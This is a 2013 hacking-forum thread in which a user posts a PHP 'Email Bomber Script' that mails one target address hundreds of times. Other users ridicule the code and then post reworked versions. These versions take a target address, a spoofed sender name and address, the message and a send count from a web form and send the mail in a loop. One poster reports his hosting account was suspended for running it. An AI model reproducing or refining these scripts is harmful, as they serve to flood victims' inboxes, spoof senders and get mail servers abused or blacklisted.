May 3, 2013 06:20 AM
(This post was last modified: May 3, 2013 03:05 PM by Pr4th4m.)
EnjOy.. ✌
Upload it on server.... 🤗
Have Some Restrictions... May be mail will be send in Junk..
Quote:<?php
<html>
<h1> Email Bomber Script</h1>
</html>
<table border=2>
<form action="" method=post>
<tr><td>Targat Email Address: </td><td><input type=text name=email size=30></td></tr>
<tr><td>Sender name: </td><td><input type=text name=name size=30></td></tr>
<tr><td>Sender Email Address: </td><td><input type=text name=sender size=30></td></tr>
<tr><td>Subject: </td><td><input type=text name=subject size=30></td></tr>
<tr><td>Content: </td><td><textarea rows=10 cols=30 name=content></textarea></td></tr>
<tr><td><input type=submit value="Send Mail"></td></tr>
</form>
</table>
<?php
$to = '[email protected]';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: [email protected]' . "\r\n" .
'Reply-To: [email protected]' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
for ($i=1; $i <= 500; $i++)
{
mail($to, $subject, $message, $headers );
}
?>
:facepalm: I dont want to be mean, but this has been like the most posted thing in the Php topic..
And the original code is located here:
http://www.hackcommunity.com/Thread-E-ma...Script-PHP
So you didn't even add a single thing on the code.
Not have too much knowledge about PHP....
Please stop posting these useless threads.
Amazing. You have the HTML, PHP, hacking, and English skills of a seven year old.
Your code is messy and I don't see how your HTML is going to communicate with your PHP. You haven't declare your post variables?
Remember this:
-POST
-GET
-COOKIES
Those are the three ways to interact.
(May 3, 2013 05:33 PM)SimplyTran Wrote: Your code is messy and I don't see how your HTML is going to communicate with your PHP. You haven't declare your post variables?
Remember this:
-POST
-GET
-COOKIES
Those are the three ways to interact.
i know that... This three variables are used to interact with html pages using php... You can implement this script.. this is the basic script..
(May 3, 2013 05:38 PM)Pr4th4m Wrote: i know that... This three variables are used to interact with html pages using php... You can implement this script.. this is the basic script..
You obviously don't understand. If you did, why would you have an HTML form above your PHP script if it doesn't interact with it?
(May 3, 2013 05:38 PM)Pr4th4m Wrote: i know that... This three variables are used to interact with html pages using php... You can implement this script.. this is the basic script..
Then why did you make a form if it doesn't do anything? Do you even know what the "name" field in HTML does?
That is the crappiest code I have ever seen. Copying/pasting it directly probably won't even work. Geez. Don't use tables for high-level organization, use CSS and DIVs.
I was writing a better version, and I would share it here, but my host seems to have removed ALL of my file on the server. O.o
(May 3, 2013 06:54 PM)Sertroph Wrote: but my host seems to have removed ALL of my file on the server. O.o
Sounds like you're wonderful at choosing hosts. Hint: If it's advertised here, it probably blows.
(May 3, 2013 06:56 PM)iBones Wrote: Sounds like you're wonderful at choosing hosts. Hint: If it's advertised here, it probably blows. Replace your code with this :) specifies amount of times to send.
PHP Code
<?php <html> <h1> Email Bomber Script</h1> </html>
<table border=2> <form action="" method=post> <tr><td>Target Email Address: </td><td><input type=text name=email size=30></td></tr> <tr><td>Sender name: </td><td><input type=text name=name size=30></td></tr> <tr><td>Sender Email Address: </td><td><input type=text name=sender size=30></td></tr> <tr><td>Subject: </td><td><input type=text name=subject size=30></td></tr> <tr><td>Content: </td><td><textarea rows=10 cols=30 name=content></textarea></td></tr> <tr><td>Amount of times to send:</td><td><input type="number" name="val"></td></tr> <tr><td><input type=submit value="Send Mail"></td></tr> </form> </table>
<?php $val = $_POST['val']; $to = '[email protected]'; $subject = 'the subject'; $message = 'hello'; $headers = 'From: [email protected]' . "\r\n" . 'Reply-To: [email protected]' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); for ($i=1; $i <= $val; $i++) { mail($to, $subject, $message, $headers ); } ?>
May 3, 2013 07:44 PM
(This post was last modified: May 3, 2013 07:46 PM by Sertroph.)
(May 3, 2013 06:56 PM)iBones Wrote: Sounds like you're wonderful at choosing hosts. Hint: If it's advertised here, it probably blows.
Um, yeah, I use SPAM for my hobby stuff, and it just removed everything. Turns out I was suspended because of this crappy script not even verifying user input, and then sending a crapton of emails all at once. That really ticks me off.
Here is a much better version, that actually uses the input from the html part, and CSS:
PHP Code
<?PHP function fail() { $send = false; } //ensure it works as long as its not broke :P $send = true; ?>
<!doctype html> <head> <title> Email Bomber Script </title> <style type='text/css'> #inp {width:100%;} #tex {width:100%; height:160px;} #fdi {width:320px; margin-left:auto; margin-right:auto;} #cen {margin-left:auto; margin-right:auto; display:block;} </style> </head> <body>
<div id='fdi'> <form action='<?PHP echo $_SERVER['PHP_SELF']; ?>' method='post'><br> Target Email Address:<br><input type='email' name='email' id='inp' /><br> Sender name:<br><input type='text' name='name' id='inp' /><br> Sender Email Address:<br><input type='email' name='sender' id='inp' /><br> Subject:<br><input type='text' name='subject' id='inp' /><br> Content:<br><textarea name='content' id='tex'></textarea><br> Number Of Times:<br><input type='number' id='inp' value='15' name='number' /><br> <input type='submit' value='Send Mail' id='cen'> </form> </div>
</body> </html>
<?php //$to email if(isset($_POST['email'])) { $to = $_POST['email']; } else { fail(); }
//$subject for reading if(isset($_POST['subject'])) { $subject = $_POST['subject']; } else { fail(); }
//$message sent in the email if(isset($_POST['content'])) { $message = $_POST['content']; } else { fail(); }
//sender email if(isset($_POST['sender'])) { $from = $_POST['sender']; } else { fail(); }
//number of times to send if(isset($_POST['number'])) { $number = $_POST['number']; } else { fail(); }
if($send) { $headers = 'From: ' . $sender . "\r\n" . 'Reply-To: ' . $sender . "\r\n" . 'X-Mailer: PHP/' . phpversion();
//send it for ($i=1; $i <= $number; $i++) { mail($to, $subject, $message, $headers ); } } ?>
thanks for the script mate i love it :) :)
Great script!
If you want to get our mail server blacklisted
|